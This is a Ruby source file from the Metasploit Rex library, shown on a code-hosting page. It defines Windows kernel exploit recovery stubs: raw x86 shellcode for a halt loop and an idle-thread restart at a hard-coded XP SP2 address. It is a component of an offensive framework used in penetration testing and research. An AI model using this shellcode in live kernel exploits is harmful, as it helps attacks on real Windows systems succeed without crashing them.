Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/lib/rex/payloads/win32/kernel/recovery.rb
Views: 11704
# -*- coding: binary -*-1module Rex2module Payloads3module Win324module Kernel56#7# Recovery stubs are responsible for ensuring that the kernel does not crash.8# They must 'recover' after the exploit has succeeded, either by consuming9# the thread or continuing it on with its normal execution. Recovery stubs10# will often be exploit dependent.11#12module Recovery1314#15# The default recovery method is to spin the thread16#17def self.default(opts = {})18spin(opts)19end2021#22# Infinite 'hlt' loop.23#24def self.spin(opts = {})25"\xf4\xeb\xfd"26end2728#29# Restarts the idle thread by jumping back to the entry point of30# KiIdleLoop. This requires a hard-coded address of KiIdleLoop.31# You can pass the 'KiIdleLoopAddress' in the options hash.32#33def self.idlethread_restart(opts = {})34# Default to fully patched XPSP235opts['KiIdleLoopAddress'] = 0x804dbb27 if opts['KiIdleLoopAddress'].nil?3637"\x31\xC0" + # xor eax,eax38"\x64\xC6\x40\x24\x02" + # mov byte [fs:eax+0x24],0x239"\x8B\x1D\x1C\xF0\xDF\xFF" + # mov ebx,[0xffdff01c]40"\xB8" + [opts['KiIdleLoopAddress']].pack('V') + # mov eax, 0x804dbb2741"\x6A\x00" + # push byte +0x042"\xFF\xE0" # jmp eax43end4445end4647end48end49end50end515253